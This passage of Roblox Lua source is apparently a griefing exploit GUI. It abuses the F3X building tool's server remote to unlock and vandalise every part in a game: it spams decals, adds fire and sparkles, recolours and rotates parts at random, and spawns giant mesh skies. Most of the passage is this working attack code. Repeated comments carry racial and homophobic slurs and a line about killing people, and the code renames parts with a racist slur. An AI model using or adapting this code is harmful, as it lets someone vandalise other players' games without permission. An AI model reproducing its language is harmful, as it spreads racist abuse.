function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("81355104572277")
end)
end;
task.spawn(C_5);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_7()
local script = G2L["7"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Fuck niggers")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(7200, 7200, 7200))
SetLocked(v,true)
end
end
end
Sky("88835901069270")
end)
end;
task.spawn(C_7);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_9()
local script = G2L["9"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("88835901069270")
end)
end;
task.spawn(C_9);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_b()
local script = G2L["b"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for _, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
if not tool then
for _, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
end
if not tool then
warn("F3X tool not found!")
return
end
local remote = tool.SyncAPI.ServerEndpoint
local function invokeRemote(args)
remote:InvokeServer(unpack(args))
end
local function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
invokeRemote(args)
end
local function FireParts()
for _, v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") then
task.spawn(function()
AddFire(v)
end)
end
end
end
FireParts()
end)
end;
task.spawn(C_b);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_d()
local script = G2L["d"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Fuck niggers")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(7200, 7200, 7200))
SetLocked(v,true)
end
end
end
Sky("81355104572277")
end)
end;
task.spawn(C_d);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_f()
local script = G2L["f"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for _, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
if not tool then
for _, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
end
if not tool then
warn("F3X tool not found!")
return
end
local remote = tool.SyncAPI.ServerEndpoint
local function invokeRemote(args)
remote:InvokeServer(unpack(args))
end
local function AddSparkles(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Sparkles"
}
}
}
invokeRemote(args)
end
local function SparklesParts()
for _, v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") then
task.spawn(function()
AddSparkles(v)
end)
end
end
end
SparklesParts()
end)
end;
task.spawn(C_f);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_11()
local script = G2L["11"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function randomise()
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.Name ~= "Sky" then
spawn(function()
SetLocked(v,false)
MovePart(v,v.CFrame * CFrame.Angles(math.random(0,1), math.random(0,1), math.random(0,1)))
end)
end
end
end
randomise()
end)
end;
task.spawn(C_11);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_13()
local script = G2L["13"];
script.Parent.MouseButton1Click:Connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function randomise()
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
Color(v,Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)))
end)
end
end
end
randomise()
end)
end;
task.spawn(C_13);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_15()
local script = G2L["15"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Fuck niggers")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(7200, 7200, 7200))
SetLocked(v,true)
end
end
end
Sky("131279780395814")
end)
end;
task.spawn(C_15);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_17()
local script = G2L["17"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
